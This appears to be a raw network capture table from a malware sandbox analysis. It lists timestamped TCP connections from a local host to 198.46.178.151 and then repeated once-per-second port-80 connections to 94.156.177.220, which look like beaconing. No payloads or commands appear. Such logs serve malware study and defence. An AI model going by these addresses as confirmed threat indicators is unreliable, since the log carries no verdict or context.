Oct 30, 2024 07:53:54.791289091 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.791304111 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.791332960 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:54.791901112 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.791915894 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.791937113 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.791944981 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:54.791950941 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.791966915 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.791979074 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:54.792016029 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:54.907638073 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.907655954 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.907670975 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.907728910 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:54.908092976 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.908113956 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.908128023 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.908143997 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.908157110 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:54.908159018 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.908186913 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:54.908590078 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.908612967 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.908627987 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.908639908 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:54.908646107 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.908662081 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.908668041 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:54.908706903 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:54.909236908 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.909252882 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.909267902 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:54.909291983 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:55.024657965 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.024682045 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.024698973 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.024744034 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:55.024804115 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:55.024877071 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.024910927 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.024926901 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.024976015 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:55.025154114 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.025170088 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.025185108 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.025207996 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:55.025259018 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:55.025518894 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.025532961 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.025547981 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.025568962 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.025584936 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:55.025630951 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:55.026072979 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.026093960 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.026108980 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.026125908 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.026134968 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:55.026173115 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:55.292844057 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.292860031 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.292871952 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.292915106 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.292933941 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:55.293116093 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.293128014 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.293139935 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.293155909 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.293173075 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:55.293174982 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.293201923 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:55.293256998 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.293276072 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.293291092 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.293299913 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:55.293304920 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.293320894 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.293338060 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:55.293348074 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.293364048 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.293370962 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:55.293402910 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:55.293612003 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.293622971 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.293636084 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.293659925 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:55.293833971 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.293889046 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:55.293965101 CET	80	49188	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:55.293992043 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.294006109 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.294018984 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.294039011 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.294045925 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:55.294054985 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.294070959 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.294085026 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.294091940 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:55.294106960 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.294112921 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:55.294123888 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.294138908 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.294152975 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:55.294178963 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:55.294228077 CET	49188	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:55.294296026 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.294308901 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.294323921 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.294352055 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:55.294470072 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.294490099 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.294504881 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.294512987 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:55.294547081 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:55.300458908 CET	80	49188	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:55.300534010 CET	49188	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:55.301534891 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.301712036 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.301762104 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:55.375519037 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.375559092 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.375581980 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.375598907 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.375617027 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.375617027 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:55.375636101 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.375646114 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:55.375672102 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:55.375828981 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.376043081 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.376058102 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.376082897 CET	80	49187	198.46.178.151	192.168.2.22
Oct 30, 2024 07:53:55.376090050 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:55.376136065 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:55.485712051 CET	49187	80	192.168.2.22	198.46.178.151
Oct 30, 2024 07:53:55.499597073 CET	49189	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:55.505070925 CET	80	49189	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:55.505157948 CET	49189	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:55.506917000 CET	49189	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:55.512378931 CET	80	49189	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:55.512450933 CET	49189	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:55.517828941 CET	80	49189	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:56.479609013 CET	80	49189	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:56.479757071 CET	49189	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:56.485447884 CET	80	49189	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:56.485523939 CET	49189	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:56.605087996 CET	49190	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:56.611174107 CET	80	49190	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:56.611298084 CET	49190	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:56.612909079 CET	49190	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:56.618314981 CET	80	49190	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:56.618452072 CET	49190	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:56.623733044 CET	80	49190	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:57.576150894 CET	80	49190	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:57.576318026 CET	49190	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:57.581918001 CET	80	49190	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:57.581984043 CET	49190	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:57.713198900 CET	49191	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:57.718547106 CET	80	49191	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:57.718657017 CET	49191	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:57.720335960 CET	49191	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:57.725620985 CET	80	49191	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:57.725696087 CET	49191	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:57.731044054 CET	80	49191	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:58.678220987 CET	80	49191	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:58.678323030 CET	49191	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:58.684170961 CET	80	49191	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:58.684299946 CET	49191	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:58.806586981 CET	49192	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:59.091068029 CET	80	49192	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:59.091140032 CET	49192	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:59.092983007 CET	49192	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:59.101052046 CET	80	49192	94.156.177.220	192.168.2.22
Oct 30, 2024 07:53:59.101106882 CET	49192	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:53:59.106825113 CET	80	49192	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:00.057696104 CET	80	49192	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:00.057818890 CET	49192	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:00.063465118 CET	80	49192	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:00.063535929 CET	49192	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:00.194003105 CET	49193	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:00.199373960 CET	80	49193	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:00.199435949 CET	49193	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:00.201170921 CET	49193	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:00.206517935 CET	80	49193	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:00.206573009 CET	49193	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:00.211891890 CET	80	49193	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:01.168560028 CET	80	49193	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:01.168689966 CET	49193	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:01.174130917 CET	80	49193	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:01.174206972 CET	49193	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:01.333822012 CET	49194	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:01.339138031 CET	80	49194	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:01.339207888 CET	49194	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:01.340882063 CET	49194	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:01.346117020 CET	80	49194	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:01.346182108 CET	49194	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:01.351576090 CET	80	49194	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:02.343007088 CET	80	49194	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:02.343132973 CET	49194	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:02.348695993 CET	80	49194	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:02.348752022 CET	49194	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:02.484781027 CET	49195	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:02.490257978 CET	80	49195	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:02.490323067 CET	49195	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:02.491985083 CET	49195	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:02.497328043 CET	80	49195	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:02.497379065 CET	49195	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:02.502801895 CET	80	49195	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:03.472774982 CET	80	49195	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:03.472871065 CET	49195	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:03.478715897 CET	80	49195	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:03.478766918 CET	49195	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:04.890161037 CET	49196	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:04.895481110 CET	80	49196	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:04.895546913 CET	49196	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:04.897191048 CET	49196	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:04.902755976 CET	80	49196	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:04.902816057 CET	49196	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:04.908513069 CET	80	49196	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:05.858128071 CET	80	49196	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:05.858767986 CET	49196	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:05.864650011 CET	80	49196	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:05.864710093 CET	49196	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:06.003097057 CET	49197	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:06.008608103 CET	80	49197	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:06.008673906 CET	49197	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:06.011044979 CET	49197	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:06.016374111 CET	80	49197	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:06.016438961 CET	49197	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:06.021723986 CET	80	49197	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:06.964103937 CET	80	49197	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:06.964364052 CET	49197	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:06.972939014 CET	80	49197	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:06.973051071 CET	49197	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:07.394051075 CET	49198	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:07.399571896 CET	80	49198	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:07.399648905 CET	49198	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:07.401325941 CET	49198	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:07.406615973 CET	80	49198	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:07.406667948 CET	49198	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:07.411993027 CET	80	49198	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:08.369493961 CET	80	49198	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:08.369666100 CET	49198	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:08.375209093 CET	80	49198	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:08.375262022 CET	49198	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:08.732856035 CET	49199	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:08.738244057 CET	80	49199	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:08.738301039 CET	49199	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:08.740010977 CET	49199	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:08.745321035 CET	80	49199	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:08.745393991 CET	49199	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:08.750736952 CET	80	49199	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:09.713777065 CET	80	49199	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:09.713886976 CET	49199	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:09.719512939 CET	80	49199	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:09.719573021 CET	49199	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:09.852288008 CET	49200	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:09.857747078 CET	80	49200	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:09.857808113 CET	49200	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:09.859494925 CET	49200	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:09.864953041 CET	80	49200	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:09.865003109 CET	49200	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:09.870363951 CET	80	49200	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:10.864734888 CET	80	49200	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:10.864890099 CET	49200	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:10.870547056 CET	80	49200	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:10.870609999 CET	49200	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:11.016347885 CET	49201	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:11.021785975 CET	80	49201	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:11.021862984 CET	49201	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:11.023446083 CET	49201	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:11.029095888 CET	80	49201	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:11.029181957 CET	49201	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:11.034497023 CET	80	49201	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:11.983464956 CET	80	49201	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:11.983571053 CET	49201	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:11.989305973 CET	80	49201	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:11.989378929 CET	49201	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:12.282746077 CET	49202	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:12.289741993 CET	80	49202	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:12.289803982 CET	49202	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:12.291497946 CET	49202	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:12.297172070 CET	80	49202	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:12.297225952 CET	49202	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:12.302757025 CET	80	49202	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:13.237864971 CET	80	49202	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:13.238037109 CET	49202	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:13.243832111 CET	80	49202	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:13.243911028 CET	49202	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:13.400661945 CET	49203	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:13.406368017 CET	80	49203	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:13.406440973 CET	49203	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:13.408143997 CET	49203	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:13.413536072 CET	80	49203	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:13.413593054 CET	49203	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:13.418911934 CET	80	49203	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:14.375499010 CET	80	49203	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:14.375597954 CET	49203	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:14.381177902 CET	80	49203	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:14.381237030 CET	49203	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:14.513638020 CET	49204	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:14.519084930 CET	80	49204	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:14.519145012 CET	49204	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:14.520813942 CET	49204	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:14.527285099 CET	80	49204	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:14.527345896 CET	49204	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:14.532674074 CET	80	49204	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:15.478223085 CET	80	49204	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:15.478400946 CET	49204	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:15.483988047 CET	80	49204	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:15.484070063 CET	49204	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:15.608576059 CET	49205	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:15.613997936 CET	80	49205	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:15.614064932 CET	49205	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:15.615720034 CET	49205	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:15.621094942 CET	80	49205	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:15.621149063 CET	49205	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:15.626436949 CET	80	49205	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:16.571283102 CET	80	49205	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:16.571398973 CET	49205	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:16.576967001 CET	80	49205	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:16.577023029 CET	49205	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:16.881972075 CET	49206	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:16.887386084 CET	80	49206	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:16.887449026 CET	49206	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:16.889108896 CET	49206	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:16.894455910 CET	80	49206	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:16.894511938 CET	49206	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:16.899853945 CET	80	49206	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:17.854389906 CET	80	49206	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:17.854784966 CET	49206	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:17.860537052 CET	80	49206	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:17.860589027 CET	49206	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:17.999526024 CET	49207	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:18.004851103 CET	80	49207	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:18.004908085 CET	49207	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:18.006603003 CET	49207	80	192.168.2.22	94.156.177.220
Oct 30, 2024 07:54:18.011904001 CET	80	49207	94.156.177.220	192.168.2.22
Oct 30, 2024 07:54:18.011948109 CET	49207	80	192.168.2.22	94.156.177.220
